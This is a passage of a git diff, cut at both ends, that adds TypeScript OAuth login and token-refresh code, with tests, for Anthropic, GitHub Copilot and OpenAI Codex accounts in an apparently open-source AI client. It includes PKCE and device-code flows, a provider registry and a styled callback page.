REDIRECT_URI, + cancelWait: () => { + settleWait?.(null); + }, + waitForCode: () => waitForCodePromise, + }); + }); + }); +} + +async function postJson(url: string, body: Record): Promise { + const response = await fetch(url, { + method: "POST", + headers: { + "Content-Type": "application/json", + Accept: "application/json", + }, + body: JSON.stringify(body), + signal: AbortSignal.timeout(30_000), + }); + + const responseBody = await response.text(); + + if (!response.ok) { + throw new Error( + `HTTP request failed. status=${response.status}; url=${url}; body=${responseBody}`, + ); + } + + return responseBody; +} + +async function exchangeAuthorizationCode( + code: string, + state: string, + verifier: string, + redirectUri: string, +): Promise { + let responseBody: string; + try { + responseBody = await postJson(TOKEN_URL, { + grant_type: "authorization_code", + client_id: CLIENT_ID, + code, + state, + redirect_uri: redirectUri, + code_verifier: verifier, + }); + } catch (error) { + throw new Error( + `Token exchange request failed. url=${TOKEN_URL}; redirect_uri=${redirectUri}; response_type=authorization_code; details=${formatErrorDetails(error)}`, + { cause: error }, + ); + } + + let tokenData: { access_token: string; refresh_token: string; expires_in: number }; + try { + tokenData = JSON.parse(responseBody) as { + access_token: string; + refresh_token: string; + expires_in: number; + }; + } catch (error) { + throw new Error( + `Token exchange returned invalid JSON. url=${TOKEN_URL}; ${formatTokenResponseParseContext(responseBody)}; details=${formatErrorDetails(error)}`, + { cause: error }, + ); + } + + return { + refresh: tokenData.refresh_token, + access: tokenData.access_token, + expires: Date.now() + tokenData.expires_in * 1000 - 5 * 60 * 1000, + }; +} + +/** + * Login with Anthropic OAuth (authorization code + PKCE) + */ +export async function loginAnthropic(options: { + onAuth: (info: { url: string; instructions?: string }) => void; + onPrompt: (prompt: OAuthPrompt) => Promise; + onProgress?: (message: string) => void; + onManualCodeInput?: () => Promise; +}): Promise { + const { verifier, challenge } = await generatePKCE(); + const expectedState = generateOAuthState(); + const server = await startCallbackServer(expectedState); + + let code: string | undefined; + let state: string | undefined; + let redirectUriForExchange = REDIRECT_URI; + + try { + const authParams = new URLSearchParams({ + code: "true", + client_id: CLIENT_ID, + response_type: "code", + redirect_uri: REDIRECT_URI, + scope: SCOPES, + code_challenge: challenge, + code_challenge_method: "S256", + state: expectedState, + }); + + options.onAuth({ + url: `${AUTHORIZE_URL}?${authParams.toString()}`, + instructions: + "Complete login in your browser. If the browser is on another machine, paste the final redirect URL here.", + }); + + if (options.onManualCodeInput) { + let manualInput: string | undefined; + let manualError: Error | undefined; + const manualPromise = options + .onManualCodeInput() + .then((input) => { + manualInput = input; + server.cancelWait(); + }) + .catch((err) => { + manualError = err instanceof Error ? err : new Error(String(err)); + server.cancelWait(); + }); + + const result = await server.waitForCode(); + + if (manualError) { + throw manualError; + } + + if (result?.code) { + code = result.code; + state = result.state; + redirectUriForExchange = REDIRECT_URI; + } else if (manualInput) { + const parsed = parseAuthorizationInput(manualInput); + if (parsed.state && parsed.state !== expectedState) { + throw new Error("OAuth state mismatch"); + } + code = parsed.code; + state = parsed.state ?? expectedState; + } + + if (!code) { + await manualPromise; + if (manualError) { + throw manualError; + } + if (manualInput) { + const parsed = parseAuthorizationInput(manualInput); + if (parsed.state && parsed.state !== expectedState) { + throw new Error("OAuth state mismatch"); + } + code = parsed.code; + state = parsed.state ?? expectedState; + } + } + } else { + const result = await server.waitForCode(); + if (result?.code) { + code = result.code; + state = result.state; + redirectUriForExchange = REDIRECT_URI; + } + } + + if (!code) { + const input = await options.onPrompt({ + message: "Paste the authorization code or full redirect URL:", + placeholder: REDIRECT_URI, + }); + const parsed = parseAuthorizationInput(input); + if (parsed.state && parsed.state !== expectedState) { + throw new Error("OAuth state mismatch"); + } + code = parsed.code; + state = parsed.state ?? expectedState; + } + + if (!code) { + throw new Error("Missing authorization code"); + } + + if (!state) { + throw new Error("Missing OAuth state"); + } + + options.onProgress?.("Exchanging authorization code for tokens..."); + return exchangeAuthorizationCode(code, state, verifier, redirectUriForExchange); + } finally { + server.server.close(); + } +} + +/** + * Refresh Anthropic OAuth token + */ +export async function refreshAnthropicToken(refreshToken: string): Promise { + let responseBody: string; + try { + responseBody = await postJson(TOKEN_URL, { + grant_type: "refresh_token", + client_id: CLIENT_ID, + refresh_token: refreshToken, + }); + } catch (error) { + throw new Error( + `Anthropic token refresh request failed. url=${TOKEN_URL}; details=${formatErrorDetails(error)}`, + { cause: error }, + ); + } + + let data: { access_token: string; refresh_token: string; expires_in: number; scope?: string }; + try { + data = JSON.parse(responseBody) as { + access_token: string; + refresh_token: string; + expires_in: number; + scope?: string; + }; + } catch (error) { + throw new Error( + `Anthropic token refresh returned invalid JSON. url=${TOKEN_URL}; ${formatTokenResponseParseContext(responseBody)}; details=${formatErrorDetails(error)}`, + { cause: error }, + ); + } + + return { + refresh: data.refresh_token, + access: data.access_token, + expires: Date.now() + data.expires_in * 1000 - 5 * 60 * 1000, + }; +} + +export const anthropicOAuthProvider: OAuthProviderInterface = { + id: "anthropic", + name: "Anthropic (Claude Pro/Max)", + usesCallbackServer: true, + + async login(callbacks: OAuthLoginCallbacks): Promise { + return loginAnthropic({ + onAuth: callbacks.onAuth, + onPrompt: callbacks.onPrompt, + onProgress: callbacks.onProgress, + onManualCodeInput: callbacks.onManualCodeInput, + }); + }, + + async refreshToken(credentials: OAuthCredentials): Promise { + return refreshAnthropicToken(credentials.refresh); + }, + + getApiKey(credentials: OAuthCredentials): string { + return credentials.access; + }, +}; diff --git a/src/llm/utils/oauth/github-copilot.test.ts b/src/llm/utils/oauth/github-copilot.test.ts new file mode 100644 index 00000000000..dc4b6042245 --- /dev/null +++ b/src/llm/utils/oauth/github-copilot.test.ts @@ -0,0 +1,50 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { testing } from "./github-copilot.js"; + +afterEach(() => { + vi.unstubAllGlobals(); +}); + +describe("GitHub Copilot OAuth model policy", () => { + it("lists model ids from Copilot instead of the generated OpenClaw catalog", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { id: "claude-sonnet-4.6" }, + { id: " gpt-5.5 " }, + { id: "embedding-model", capabilities: { type: "embeddings" } }, + { id: "accounts/example/router" }, + { id: "not-a-model", object: "assistant" }, + { id: "" }, + ], + }), + { status: 200 }, + ), + ); + vi.stubGlobal("fetch", fetchMock); + + await expect(testing.listGitHubCopilotModelIds("copilot-token")).resolves.toEqual([ + "claude-sonnet-4.6", + "gpt-5.5", + ]); + expect(fetchMock).toHaveBeenCalledWith( + "https://api.individual.githubcopilot.com/models", + expect.objectContaining({ + headers: expect.objectContaining({ + Authorization: "Bearer copilot-token", + }), + }), + ); + }); + + it("treats model listing failures as optional policy setup", async () => { + vi.stubGlobal( + "fetch", + vi.fn(async () => new Response("nope", { status: 503 })), + ); + + await expect(testing.listGitHubCopilotModelIds("copilot-token")).resolves.toEqual([]); + }); +}); diff --git a/src/llm/utils/oauth/github-copilot.ts b/src/llm/utils/oauth/github-copilot.ts new file mode 100644 index 00000000000..f646ff3012e --- /dev/null +++ b/src/llm/utils/oauth/github-copilot.ts @@ -0,0 +1,483 @@ +/** + * GitHub Copilot OAuth flow + */ + +import type { Model } from "../../types.js"; +import type { OAuthCredentials, OAuthLoginCallbacks, OAuthProviderInterface } from "./types.js"; + +type CopilotCredentials = OAuthCredentials & { + enterpriseUrl?: string; +}; + +const decode = (s: string) => atob(s); +const CLIENT_ID = decode("SXYxLmI1MDdhMDhjODdlY2ZlOTg="); + +const COPILOT_HEADERS = { + "User-Agent": "GitHubCopilotChat/0.35.0", + "Editor-Version": "vscode/1.107.0", + "Editor-Plugin-Version": "copilot-chat/0.35.0", + "Copilot-Integration-Id": "vscode-chat", +} as const; + +const INITIAL_POLL_INTERVAL_MULTIPLIER = 1.2; +const SLOW_DOWN_POLL_INTERVAL_MULTIPLIER = 1.4; +const COPILOT_ROUTER_ID_PREFIX = "accounts/"; + +type DeviceCodeResponse = { + device_code: string; + user_code: string; + verification_uri: string; + interval: number; + expires_in: number; +}; + +type DeviceTokenSuccessResponse = { + access_token: string; + token_type?: string; + scope?: string; +}; + +type DeviceTokenErrorResponse = { + error: string; + error_description?: string; + interval?: number; +}; + +type CopilotModelListEntry = { + id?: unknown; + object?: unknown; + capabilities?: { + type?: unknown; + }; +}; + +export function normalizeDomain(input: string): string | null { + const trimmed = input.trim(); + if (!trimmed) { + return null; + } + try { + const url = trimmed.includes("://") ? new URL(trimmed) : new URL(`https://${trimmed}`); + return url.hostname; + } catch { + return null; + } +} + +function getUrls(domain: string): { + deviceCodeUrl: string; + accessTokenUrl: string; + copilotTokenUrl: string; +} { + return { + deviceCodeUrl: `https://${domain}/login/device/code`, + accessTokenUrl: `https://${domain}/login/oauth/access_token`, + copilotTokenUrl: `https://api.${domain}/copilot_internal/v2/token`, + }; +} + +/** + * Parse the proxy-ep from a Copilot token and convert to API base URL. + * Token format: tid=...;exp=...;proxy-ep=proxy.individual.githubcopilot.com;... + * Returns API URL like https://api.individual.githubcopilot.com + */ +function getBaseUrlFromToken(token: string): string | null { + const match = token.match(/proxy-ep=([^;]+)/); + if (!match) { + return null; + } + const proxyHost = match[1]; + // Convert proxy.xxx to api.xxx + const apiHost = proxyHost.replace(/^proxy\./, "api."); + return `https://${apiHost}`; +} + +export function getGitHubCopilotBaseUrl(token?: string, enterpriseDomain?: string): string { + // If we have a token, extract the base URL from proxy-ep + if (token) { + const urlFromToken = getBaseUrlFromToken(token); + if (urlFromToken) { + return urlFromToken; + } + } + // Fallback for enterprise or if token parsing fails + if (enterpriseDomain) { + return `https://copilot-api.${enterpriseDomain}`; + } + return "https://api.individual.githubcopilot.com"; +} + +async function fetchJson(url: string, init: RequestInit): Promise { + const response = await fetch(url, init); + if (!response.ok) { + const text = await response.text(); + throw new Error(`${response.status} ${response.statusText}: ${text}`); + } + return response.json(); +} + +async function startDeviceFlow(domain: string): Promise { + const urls = getUrls(domain); + const data = await fetchJson(urls.deviceCodeUrl, { + method: "POST", + headers: { + Accept: "application/json", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "GitHubCopilotChat/0.35.0", + }, + body: new URLSearchParams({ + client_id: CLIENT_ID, + scope: "read:user", + }), + }); + + if (!data || typeof data !== "object") { + throw new Error("Invalid device code response"); + } + + const deviceCode = (data as Record).device_code; + const userCode = (data as Record).user_code; + const verificationUri = (data as Record).verification_uri; + const interval = (data as Record).interval; + const expiresIn = (data as Record).expires_in; + + if ( + typeof deviceCode !== "string" || + typeof userCode !== "string" || + typeof verificationUri !== "string" || + typeof interval !== "number" || + typeof expiresIn !== "number" + ) { + throw new Error("Invalid device code response fields"); + } + + return { + device_code: deviceCode, + user_code: userCode, + verification_uri: verificationUri, + interval, + expires_in: expiresIn, + }; +} + +/** + * Sleep that can be interrupted by an AbortSignal + */ +function abortableSleep(ms: number, signal?: AbortSignal): Promise { + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Login cancelled")); + return; + } + + const timeout = setTimeout(resolve, ms); + + signal?.addEventListener( + "abort", + () => { + clearTimeout(timeout); + reject(new Error("Login cancelled")); + }, + { once: true }, + ); + }); +} + +async function pollForGitHubAccessToken( + domain: string, + deviceCode: string, + intervalSeconds: number, + expiresIn: number, + signal?: AbortSignal, +) { + const urls = getUrls(domain); + const deadline = Date.now() + expiresIn * 1000; + let intervalMs = Math.max(1000, Math.floor(intervalSeconds * 1000)); + let intervalMultiplier = INITIAL_POLL_INTERVAL_MULTIPLIER; + let slowDownResponses = 0; + + while (Date.now() < deadline) { + if (signal?.aborted) { + throw new Error("Login cancelled"); + } + + const remainingMs = deadline - Date.now(); + const waitMs = Math.min(Math.ceil(intervalMs * intervalMultiplier), remainingMs); + await abortableSleep(waitMs, signal); + + const raw = await fetchJson(urls.accessTokenUrl, { + method: "POST", + headers: { + Accept: "application/json", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "GitHubCopilotChat/0.35.0", + }, + body: new URLSearchParams({ + client_id: CLIENT_ID, + device_code: deviceCode, + grant_type: "urn:ietf:params:oauth:grant-type:device_code", + }), + }); + + if ( + raw && + typeof raw === "object" && + typeof (raw as DeviceTokenSuccessResponse).access_token === "string" + ) { + return (raw as DeviceTokenSuccessResponse).access_token; + } + + if ( + raw && + typeof raw === "object" && + typeof (raw as DeviceTokenErrorResponse).error === "string" + ) { + const { error, error_description: description, interval } = raw as DeviceTokenErrorResponse; + if (error === "authorization_pending") { + continue; + } + + if (error === "slow_down") { + slowDownResponses += 1; + intervalMs = + typeof interval === "number" && interval > 0 + ? interval * 1000 + : Math.max(1000, intervalMs + 5000); + intervalMultiplier = SLOW_DOWN_POLL_INTERVAL_MULTIPLIER; + continue; + } + + const descriptionSuffix = description ? `: ${description}` : ""; + throw new Error(`Device flow failed: ${error}${descriptionSuffix}`); + } + } + + if (slowDownResponses > 0) { + throw new Error( + "Device flow timed out after one or more slow_down responses. This is often caused by clock drift in WSL or VM environments. Please sync or restart the VM clock and try again.", + ); + } + + throw new Error("Device flow timed out"); +} + +/** + * Refresh GitHub Copilot token + */ +export async function refreshGitHubCopilotToken( + refreshToken: string, + enterpriseDomain?: string, +): Promise { + const domain = enterpriseDomain || "github.com"; + const urls = getUrls(domain); + + const raw = await fetchJson(urls.copilotTokenUrl, { + headers: { + Accept: "application/json", + Authorization: `Bearer ${refreshToken}`, + ...COPILOT_HEADERS, + }, + }); + + if (!raw || typeof raw !== "object") { + throw new Error("Invalid Copilot token response"); + } + + const token = (raw as Record).token; + const expiresAt = (raw as Record).expires_at; + + if (typeof token !== "string" || typeof expiresAt !== "number") { + throw new Error("Invalid Copilot token response fields"); + } + + return { + refresh: refreshToken, + access: token, + expires: expiresAt * 1000 - 5 * 60 * 1000, + enterpriseUrl: enterpriseDomain, + }; +} + +/** + * Enable a model for the user's GitHub Copilot account. + * This is required for some models (like Claude, Grok) before they can be used. + */ +async function enableGitHubCopilotModel( + token: string, + modelId: string, + enterpriseDomain?: string, +): Promise { + const baseUrl = getGitHubCopilotBaseUrl(token, enterpriseDomain); + const url = `${baseUrl}/models/${modelId}/policy`; + + try { + const response = await fetch(url, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${token}`, + ...COPILOT_HEADERS, + "openai-intent": "chat-policy", + "x-interaction-type": "chat-policy", + }, + body: JSON.stringify({ state: "enabled" }), + }); + return response.ok; + } catch { + return false; + } +} + +async function listGitHubCopilotModelIds( + token: string, + enterpriseDomain?: string, +): Promise { + const baseUrl = getGitHubCopilotBaseUrl(token, enterpriseDomain); + const url = `${baseUrl}/models`; + try { + const response = await fetch(url, { + headers: { + Accept: "application/json", + Authorization: `Bearer ${token}`, + ...COPILOT_HEADERS, + }, + }); + if (!response.ok) { + return []; + } + const raw = await response.json(); + const data = raw && typeof raw === "object" ? (raw as { data?: unknown }).data : undefined; + if (!Array.isArray(data)) { + return []; + } + return data.flatMap((entry) => { + if (!entry || typeof entry !== "object") { + return []; + } + const model = entry as CopilotModelListEntry; + const id = typeof model.id === "string" ? model.id.trim() : ""; + if (!id || id.startsWith(COPILOT_ROUTER_ID_PREFIX)) { + return []; + } + if (model.object && model.object !== "model") { + return []; + } + if (model.capabilities?.type && model.capabilities.type !== "chat") { + return []; + } + return [id]; + }); + } catch { + return []; + } +} + +/** + * Enable GitHub Copilot models visible to this account. + * Called after successful login to ensure available models are policy-enabled. + */ +async function enableAllGitHubCopilotModels( + token: string, + enterpriseDomain?: string, + onProgress?: (model: string, success: boolean) => void, +): Promise { + const modelIds = await listGitHubCopilotModelIds(token, enterpriseDomain); + await Promise.all( + modelIds.map(async (modelId) => { + const success = await enableGitHubCopilotModel(token, modelId, enterpriseDomain); + onProgress?.(modelId, success); + }), + ); +} + +/** + * Login with GitHub Copilot OAuth (device code flow) + * + * @param options.onAuth - Callback with URL and optional instructions (user code) + * @param options.onPrompt - Callback to prompt user for input + * @param options.onProgress - Optional progress callback + * @param options.signal - Optional AbortSignal for cancellation + */ +export async function loginGitHubCopilot(options: { + onAuth: (url: string, instructions?: string) => void; + onPrompt: (prompt: { + message: string; + placeholder?: string; + allowEmpty?: boolean; + }) => Promise; + onProgress?: (message: string) => void; + signal?: AbortSignal; +}): Promise { + const input = await options.onPrompt({ + message: "GitHub Enterprise URL/domain (blank for github.com)", + placeholder: "company.ghe.com", + allowEmpty: true, + }); + + if (options.signal?.aborted) { + throw new Error("Login cancelled"); + } + + const trimmed = input.trim(); + const enterpriseDomain = normalizeDomain(input); + if (trimmed && !enterpriseDomain) { + throw new Error("Invalid GitHub Enterprise URL/domain"); + } + const domain = enterpriseDomain || "github.com"; + + const device = await startDeviceFlow(domain); + options.onAuth(device.verification_uri, `Enter code: ${device.user_code}`); + + const githubAccessToken = await pollForGitHubAccessToken( + domain, + device.device_code, + device.interval, + device.expires_in, + options.signal, + ); + const credentials = await refreshGitHubCopilotToken( + githubAccessToken, + enterpriseDomain ?? undefined, + ); + + // Enable all models after successful login + options.onProgress?.("Enabling models..."); + await enableAllGitHubCopilotModels(credentials.access, enterpriseDomain ?? undefined); + return credentials; +} + +export const githubCopilotOAuthProvider: OAuthProviderInterface = { + id: "github-copilot", + name: "GitHub Copilot", + + async login(callbacks: OAuthLoginCallbacks): Promise { + return loginGitHubCopilot({ + onAuth: (url, instructions) => callbacks.onAuth({ url, instructions }), + onPrompt: callbacks.onPrompt, + onProgress: callbacks.onProgress, + signal: callbacks.signal, + }); + }, + + async refreshToken(credentials: OAuthCredentials): Promise { + const creds = credentials as CopilotCredentials; + return refreshGitHubCopilotToken(creds.refresh, creds.enterpriseUrl); + }, + + getApiKey(credentials: OAuthCredentials): string { + return credentials.access; + }, + + modifyModels(models: Model[], credentials: OAuthCredentials): Model[] { + const creds = credentials as CopilotCredentials; + const domain = creds.enterpriseUrl + ? (normalizeDomain(creds.enterpriseUrl) ?? undefined) + : undefined; + const baseUrl = getGitHubCopilotBaseUrl(creds.access, domain); + return models.map((m) => (m.provider === "github-copilot" ? { ...m, baseUrl } : m)); + }, +}; + +export const testing = { + listGitHubCopilotModelIds, +}; diff --git a/src/llm/utils/oauth/index.ts b/src/llm/utils/oauth/index.ts new file mode 100644 index 00000000000..6ec08ea56b2 --- /dev/null +++ b/src/llm/utils/oauth/index.ts @@ -0,0 +1,161 @@ +/** + * OAuth credential management for AI providers. + * + * This module handles login, token refresh, and credential storage + * for OAuth-based providers: + * - Anthropic (Claude Pro/Max) + * - GitHub Copilot + */ + +// Anthropic +export { anthropicOAuthProvider, loginAnthropic, refreshAnthropicToken } from "./anthropic.js"; +// GitHub Copilot +export { + getGitHubCopilotBaseUrl, + githubCopilotOAuthProvider, + loginGitHubCopilot, + normalizeDomain, + refreshGitHubCopilotToken, +} from "./github-copilot.js"; +// OpenAI Codex (ChatGPT OAuth) +export { + loginOpenAICodex, + openaiCodexOAuthProvider, + refreshOpenAICodexToken, +} from "./openai-codex.js"; + +export * from "./types.js"; + +// ============================================================================ +// Provider Registry +// ============================================================================ + +import { anthropicOAuthProvider } from "./anthropic.js"; +import { githubCopilotOAuthProvider } from "./github-copilot.js"; +import { openaiCodexOAuthProvider } from "./openai-codex.js"; +import type { + OAuthCredentials, + OAuthProviderId, + OAuthProviderInfo, + OAuthProviderInterface, +} from "./types.js"; + +const BUILT_IN_OAUTH_PROVIDERS: OAuthProviderInterface[] = [ + anthropicOAuthProvider, + githubCopilotOAuthProvider, + openaiCodexOAuthProvider, +]; + +const oauthProviderRegistry = new Map( + BUILT_IN_OAUTH_PROVIDERS.map((provider) => [provider.id, provider]), +); + +/** + * Get an OAuth provider by ID + */ +export function getOAuthProvider(id: OAuthProviderId): OAuthProviderInterface | undefined { + return oauthProviderRegistry.get(id); +} + +/** + * Register a custom OAuth provider + */ +export function registerOAuthProvider(provider: OAuthProviderInterface): void { + oauthProviderRegistry.set(provider.id, provider); +} + +/** + * Unregister an OAuth provider. + * + * If the provider is built-in, restores the built-in implementation. + * Custom providers are removed completely. + */ +export function unregisterOAuthProvider(id: string): void { + const builtInProvider = BUILT_IN_OAUTH_PROVIDERS.find((provider) => provider.id === id); + if (builtInProvider) { + oauthProviderRegistry.set(id, builtInProvider); + return; + } + oauthProviderRegistry.delete(id); +} + +/** + * Reset OAuth providers to built-ins. + */ +export function resetOAuthProviders(): void { + oauthProviderRegistry.clear(); + for (const provider of BUILT_IN_OAUTH_PROVIDERS) { + oauthProviderRegistry.set(provider.id, provider); + } +} + +/** + * Get all registered OAuth providers + */ +export function getOAuthProviders(): OAuthProviderInterface[] { + return Array.from(oauthProviderRegistry.values()); +} + +/** + * @deprecated Use getOAuthProviders() which returns OAuthProviderInterface[] + */ +export function getOAuthProviderInfoList(): OAuthProviderInfo[] { + return getOAuthProviders().map((p) => ({ + id: p.id, + name: p.name, + available: true, + })); +} + +// ============================================================================ +// High-level API (uses provider registry) +// ============================================================================ + +/** + * Refresh token for unknown OAuth provider. + * @deprecated Use getOAuthProvider(id).refreshToken() instead + */ +export async function refreshOAuthToken( + providerId: OAuthProviderId, + credentials: OAuthCredentials, +): Promise { + const provider = getOAuthProvider(providerId); + if (!provider) { + throw new Error(`Unknown OAuth provider: ${providerId}`); + } + return provider.refreshToken(credentials); +} + +/** + * Get API key for a provider from OAuth credentials. + * Automatically refreshes expired tokens. + * + * @returns API key string and updated credentials, or null if no credentials + * @throws Error if refresh fails + */ +export async function getOAuthApiKey( + providerId: OAuthProviderId, + credentials: Record, +): Promise<{ newCredentials: OAuthCredentials; apiKey: string } | null> { + const provider = getOAuthProvider(providerId); + if (!provider) { + throw new Error(`Unknown OAuth provider: ${providerId}`); + } + + let creds = credentials[providerId]; + if (!creds) { + return null; + } + + // Refresh if expired + if (Date.now() >= creds.expires) { + try { + creds = await provider.refreshToken(creds); + } catch (error) { + throw new Error(`Failed to refresh OAuth token for ${providerId}`, { cause: error }); + } + } + + const apiKey = provider.getApiKey(creds); + return { newCredentials: creds, apiKey }; +} diff --git a/src/llm/utils/oauth/oauth-page.ts b/src/llm/utils/oauth/oauth-page.ts new file mode 100644 index 00000000000..c421b455d79 --- /dev/null +++ b/src/llm/utils/oauth/oauth-page.ts @@ -0,0 +1,114 @@ +const LOGO_SVG = ``; + +function escapeHtml(value: string): string { + return value + .replaceAll("&", "&") + .replaceAll("<", "<") + .replaceAll(">", ">") + .replaceAll('"', """) + .replaceAll("'", "'"); +} + +function renderPage(options: { + title: string; + heading: string; + message: string; + details?: string; +}): string { + const title = escapeHtml(options.title); + const heading = escapeHtml(options.heading); + const message = escapeHtml(options.message); + const details = options.details ? escapeHtml(options.details) : undefined; + + return ` + + + + + ${title} + + + +
+ +

${heading}

+

${message}

+ ${details ? `
${details}
` : ""} +
+ +`; +} + +export function oauthSuccessHtml(message: string): string { + return renderPage({ + title: "Authentication successful", + heading: "Authentication successful", + message, + }); +} + +export function oauthErrorHtml(message: string, details?: string): string { + return renderPage({ + title: "Authentication failed", + heading: "Authentication failed", + message, + details, + }); +} diff --git a/src/llm/utils/oauth/openai-codex-jwt.ts b/src/llm/utils/oauth/openai-codex-jwt.ts new file mode 100644 index 00000000000..fcc0b1de4c6 --- /dev/null +++ b/src/llm/utils/oauth/openai-codex-jwt.ts @@ -0,0 +1,31 @@ +const OPENAI_CODEX_AUTH_CLAIM = "https://api.openai.com/auth"; + +export type OpenAICodexJwtPayload = { + [OPENAI_CODEX_AUTH_CLAIM]?: { + chatgpt_account_id?: unknown; + }; + [key: string]: unknown; +}; + +export function decodeOpenAICodexJwtPayload(token: string): OpenAICodexJwtPayload | null { + const parts = token.split("."); + if (parts.length !== 3) { + return null; + } + + try { + const decoded = Buffer.from(parts[1] ?? "", "base64url").toString("utf8"); + const parsed = JSON.parse(decoded); + return parsed && typeof parsed === "object" && !Array.isArray(parsed) + ? (parsed as OpenAICodexJwtPayload) + : null; + } catch { + return null; + } +} + +export function resolveOpenAICodexAccountId(token: string): string | null { + const accountId = + decodeOpenAICodexJwtPayload(token)?.[OPENAI_CODEX_AUTH_CLAIM]?.chatgpt_account_id; + return typeof accountId === "string" && accountId.length > 0 ? accountId : null; +} diff --git a/src/llm/utils/oauth/openai-codex.test.ts b/src/llm/utils/oauth/openai-codex.test.ts new file mode 100644 index 00000000000..edf8911ee23 --- /dev/null +++ b/src/llm/utils/oauth/openai-codex.test.ts @@ -0,0 +1,102 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { refreshOpenAICodexToken, testing } from "./openai-codex.js"; + +function createJwt(payload: Record): string { + const header = Buffer.from(JSON.stringify({ alg: "none", typ: "JWT" })).toString("base64url"); + const body = Buffer.from(JSON.stringify(payload)).toString("base64url"); + return `${header}.${body}.signature`; +} + +function stubTokenResponse(body: Record): void { + vi.stubGlobal( + "fetch", + vi.fn(async () => new Response(JSON.stringify(body), { status: 200 })), + ); +} + +afterEach(() => { + vi.unstubAllGlobals(); +}); + +describe("OpenAI Codex OAuth token responses", () => { + it("waits for Node OAuth runtime before creating an authorization flow", async () => { + const flow = await testing.createAuthorizationFlow("openclaw-test"); + const url = new URL(flow.url); + + expect(flow.state).toMatch(/^[a-f0-9]{32}$/u); + expect(url.searchParams.get("state")).toBe(flow.state); + expect(url.searchParams.get("originator")).toBe("openclaw-test"); + const redirectUri = url.searchParams.get("redirect_uri"); + expect(redirectUri).toBeTruthy(); + expect(flow.redirectUri).toBe(redirectUri); + expect(testing.callbackHost).toBe(new URL(redirectUri ?? "").hostname); + }); + + it("builds callback redirect URIs from the configured loopback host", () => { + expect(testing.resolveRedirectUri("127.0.0.1")).toBe( + "http://127.0.0.1:1455/auth/callback", + ); + }); + + it("rejects non-loopback callback bind hosts", () => { + expect(() => + testing.resolveCallbackHost({ OPENCLAW_OAUTH_CALLBACK_HOST: "0.0.0.0" }), + ).toThrow("callback host must be localhost, 127.0.0.1, or ::1"); + }); + + it("does not echo token payload values when the exchange response is malformed", async () => { + stubTokenResponse({ + access_token: "secret-access-token", + expires_in: 3600, + }); + + const result = await testing.exchangeAuthorizationCode("code", "verifier"); + + expect(result).toMatchObject({ + type: "failed", + message: "OpenAI Codex token exchange response missing fields: refresh_token", + }); + if (result.type === "failed") { + expect(result.message).not.toContain("secret-access-token"); + expect(result.message).not.toContain("access_token"); + } + }); + + it("does not echo token payload values when the refresh response is malformed", async () => { + stubTokenResponse({ + access_token: "new-secret-access-token", + refresh_token: "new-secret-refresh-token", + }); + + const result = await testing.refreshAccessToken("old-refresh-token"); + + expect(result).toMatchObject({ + type: "failed", + message: "OpenAI Codex token refresh response missing fields: expires_in", + }); + if (result.type === "failed") { + expect(result.message).not.toContain("new-secret-access-token"); + expect(result.message).not.toContain("new-secret-refresh-token"); + expect(result.message).not.toContain("access_token"); + expect(result.message).not.toContain("refresh_token"); + } + }); + + it("extracts the account id from URL-safe base64 JWT payloads", async () => { + const accessToken = createJwt({ + "https://api.openai.com/auth": { + chatgpt_account_id: "w_ébé_1fzcswWN6Pi5zL", + }, + }); + expect(accessToken.split(".")[1]).toContain("_"); + stubTokenResponse({ + access_token: accessToken, + refresh_token: "new-secret-refresh-token", + expires_in: 3600, + }); + + await expect(refreshOpenAICodexToken("old-refresh-token")).resolves.toMatchObject({ + accountId: "w_ébé_1fzcswWN6Pi5zL", + }); + }); +}); diff --git a/src/llm/utils/oauth/openai-codex.ts b/src/llm/utils/oauth/openai-codex.ts new file mode 100644 index 00000000000..7fe2d4f414a --- /dev/null +++ b/src/llm/utils/oauth/openai-codex.ts @@ -0,0 +1,516 @@ +/** + * OpenAI Codex (ChatGPT OAuth) flow + * + * NOTE: This module uses Node.js crypto and http for the OAuth callback. + * It is only intended for CLI use, not browser environments. + */ + +import { oauthErrorHtml, oauthSuccessHtml } from "./oauth-page.js"; +import { resolveOpenAICodexAccountId } from "./openai-codex-jwt.js"; +import { generatePKCE } from "./pkce.js"; +import type { + OAuthCredentials, + OAuthLoginCallbacks, + OAuthPrompt, + OAuthProviderInterface, +} from "./types.js"; + +const CLIENT_ID = "app_EMoamEEZ73f0CkXaXp7hrann"; +const AUTHORIZE_URL = "https://auth.openai.com/oauth/authorize"; +const TOKEN_URL = "https://auth.openai.com/oauth/token"; +const CALLBACK_PORT = 1455; +const CALLBACK_PATH = "/auth/callback"; +const DEFAULT_CALLBACK_HOST = "localhost"; +const LOOPBACK_CALLBACK_HOSTS = new Set(["localhost", "127.0.0.1", "::1"]); +const CALLBACK_HOST = resolveCallbackHost(); +const REDIRECT_URI = resolveRedirectUri(CALLBACK_HOST); +const MANUAL_PROMPT_FALLBACK_MS = 15_000; +const SCOPE = "openid profile email offline_access"; +type TokenSuccess = { type: "success"; access: string; refresh: string; expires: number }; +type TokenFailure = { type: "failed"; message: string; status?: number }; +type TokenResult = TokenSuccess | TokenFailure; +type TokenResponseJson = { + access_token?: string; + refresh_token?: string; + expires_in?: number; +}; +type NodeOAuthRuntime = { + randomBytes: typeof import("node:crypto").randomBytes; + http: typeof import("node:http"); +}; + +let nodeOAuthRuntimePromise: Promise | null = null; + +function loadNodeOAuthRuntime(): Promise { + if (typeof process === "undefined" || (!process.versions?.node && !process.versions?.bun)) { + return Promise.reject(new Error("OpenAI Codex OAuth is only available in Node.js environments")); + } + nodeOAuthRuntimePromise ??= Promise.all([import("node:crypto"), import("node:http")]).then( + ([cryptoModule, httpModule]) => ({ + randomBytes: cryptoModule.randomBytes, + http: httpModule, + }), + ); + return nodeOAuthRuntimePromise; +} + +function resolveCallbackHost(env: NodeJS.ProcessEnv = process.env): string { + const host = env.OPENCLAW_OAUTH_CALLBACK_HOST?.trim() || DEFAULT_CALLBACK_HOST; + if (!LOOPBACK_CALLBACK_HOSTS.has(host)) { + throw new Error( + "OpenAI Codex OAuth callback host must be localhost, 127.0.0.1, or ::1", + ); + } + return host; +} + +function resolveRedirectUri(host: string = CALLBACK_HOST): string { + const hostForUrl = host === "::1" ? "[::1]" : host; + const url 